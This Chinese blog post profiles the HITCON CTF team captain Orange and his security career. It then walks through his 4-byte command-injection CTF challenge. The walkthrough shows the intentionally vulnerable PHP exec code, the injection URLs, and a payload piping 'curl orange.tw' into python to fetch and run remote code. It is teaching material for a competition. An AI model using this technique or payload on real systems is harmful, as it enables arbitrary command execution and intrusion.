今天的 HITCON CTF 人物誌要提的人物,只要是在台灣接觸有資安的人應該都耳熟能詳 XD 如果說 angelboy 是 CTF 的本座級人物,Orange 就是做 web security 的追逐目標,而且還是 white hacker 的榜樣、pentester 的傳奇、bug bounty hunter 的次元壁.......(省略 1000 字),最重要的是,他是我們 HITCON CTF team 的隊長,是這次 ithome 挑戰必須要出賣的人物 XDD
在 HITCON CTF 剛舉辦的第一年,有部分國外隊伍是因為 Orange 的名氣才被吸引參加,Orange 精心設計的題目,每次都獲得廣大迴響,迴響大致分成兩種:
Orange 之所以能出這麼屌的題目,與他當 web 狗多年的經歷有關 (老司機 ?),CTF 在台灣從開始流行到現在大約六年的時間 (2014~2019),但 Orange 在更早之前就在資安領域開始嶄露頭角了,在去年接受 bugbountyforum 採訪的 AMA,Orange 有提到自己從 16 歲就開始接觸資安,換算下來大約已經接觸了 十年 的時間 XD
由於 Orange 的經歷實在太多了,接下來會分三個時期介紹,時間點有些重疊或不精確,大家不要太深究,另外有些與 CTF 無關的部分比較簡單帶過,大家可以自行翻閱 Orange 的 blog
最早可以追朔到 2009 年的 HITCON Wargame,回顧當時的 解題心得,首次參加就拿第一太強了 <(_ _)>
接著連續幾次金盾獎 Orange 都有參加並獲得不錯的成績,2010 第一年參加就第二名,隔年 2011 就第一名了 XD 而且只有跟 allenown 兩個人組隊...XD
2012 年開始將自己打站的經驗投稿 PHPCONF,應該是第一次在台灣公開演講 XD
2012 年 fuzz 找到 IE9 的漏洞 (MS12-071, CVE-2012-4775),並於 2013 年將 fuzz 的經驗在 HITCON 分享
2013 挖到 Django 的 CVE-2013-0305,同年在 PyCON 2013 上分享 Django 的弱點分析
2013 年與 Allen Own 在 PHPCONF 合講一場 talk 矛盾大對決,Orange 負責從入侵方分析 php 有那些攻擊手法,Allen Own 由防禦方說明要如何避免寫出 Orange 提到的漏洞 XD
印象中是 DEVCORE 第一次正式在非資安的公開場合嶄露頭角 XD
2013 年發表了一系列 Yahoo 網站的 bug bounty 挖掘經驗,當時是 bug bounty 國內還不流行,國外才剛開始起步的時代 XD
由於 CTFer 在模式和進行方式都有點像打電競一樣,因此被戲稱為 CTFer 也被半開玩笑地稱為電競選手 XD (如果到處比賽拿獎金,就被稱為 賽棍
)
unserialize
漏洞和 php uaf 利用的問題,雖然分類是 web 但題目後半卻是滿滿的 pwn 元素 XD\n
繞開 regex 的檢查,但後續只能用 alphanumber 和 underline 進行注入Orange 在當電競選手幾乎封頂、當賽棍已經滿足不了 Orange 的需求了,於是 Orange 就把目標轉向了 real world 的問題,每個大公司得知之後都瑟瑟發抖 (誤):
除了 bounty 以外,Orange 也陸續將自己的研究向全世界發表,向世界證明自己是 Web Security 領域的頂尖駭客之一
能跟 Orange 這樣一個世界頂尖的傳奇滲透師在同一個 CTF team 裡面,實在是備感榮幸 XD 但我還是學不會怎麼打 web ... QQ 還有一個後遺症是,現在聽到 orange 都會覺得是橘子,這應該就是傳說中的 mind hacking 吧 (誤) 今年 HITCON CTF Orange 也準備了一些高質量的題目,請大家拭目以待 XD
Orange 在 github 上有說過 BabyFirst 系列是他個人最喜歡的題目,而 cmd injection 又是 hacker 必備的技能之一,DEVCORE CONF 的 talk 也提過他們紅隊每個人看到某電信商的 blacklist 過濾都能馬上想到三種以上的繞過方式,今天就來看一下這道經典的 cmd injection 題是考什麼 XD
題目的 source 非常短,只有十行:
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
可以看到從 GET 取得 cmd
之後就直接丟進 exec
執行了,很好心的提供 reset
功能可以把整個資料夾刪除重建,問題就在於那個長度限制只有 4 byte,4 byte 的 cmd injection 到底能做些什麼...?
先回頭看一下 BabyFisrt Revenge
的思路,幾乎一模一樣的 code 不過可以用 5 byte,由於題目幫我們特地創了 sandbox 資料夾之後再 chdir
進去,不難聯想到要利用寫檔來完成 cmd injection,詳細的解法是:
利用 >
符號創建檔案的特性,依序創出名稱為 ls
, -t
, >g
的三個檔案
再利用 ls
列出檔案的特性,將 output redirect 到另外一個檔案中,因為排序的問題 1, 2 兩步要交錯執行,下面是 1, 2 兩步執行的指令
# generate `ls -t>g` to file "_"
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
用一樣的方式分割 curl orange.tw|python
並建立成檔案,再執行剛剛的 ls -t>g
來生成指令,這次不需要交錯因為有使用 -t
根據時間對檔案進行排序
sh _
就會生成指令到檔案 g
最後執行 sh g
就可以執行任意指令
OK,5 個 byte 看起來沒問題,而前面用到的指令大部分也只有 4 個 byte, 除了最後 ls>>_
,都沒有超過,但嘗試一下就會發現最後如果改用 ls>_
就會把前面的輸出好 ls 給蓋掉,但又沒辦法加上 -t
讓檔案排序成還原成我們的指令,這就是這題困難的地方了 XD
Orange 給的官方解法是額外利用兩個指令 dir
和 rev
還有 wildcard *
,我們先生成反過來的指令 g> ht- sl
檔案,由於排序是由小到大所以可以直接用 dir 列出,再用 rev 還原成我們要的指令,詳細步驟為:
generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
generate "curl orange.tw|python;"
執行 sh x
,等同於 ls -th >g
sh g
執行任意指令
最後不得不提一下 unintended solution,前面有說到 4 byte 最困擾的就是排序問題,因此在跟外部 domain 取得完整 shellscript 時,如果 domain 是 由小而大排序 的就有機會可以解了,所以他花了 $20 購買了一個排序過的 domain 來解這題.......XD
至於有沒有可能用 3 個字元完成 cmd injection 達成任意指令,我覺得應該不可能啦......XD 如果有人想到拜託教我一下 QQ
沒有關注到這個系列,看到大神趕快回來補一下
這鐵人賽要寫東西就耗費太多時間惹 QQ
看到傳奇滲透師的歷史,來拜讀一下考古 <(_ _)>
感謝捧場 XD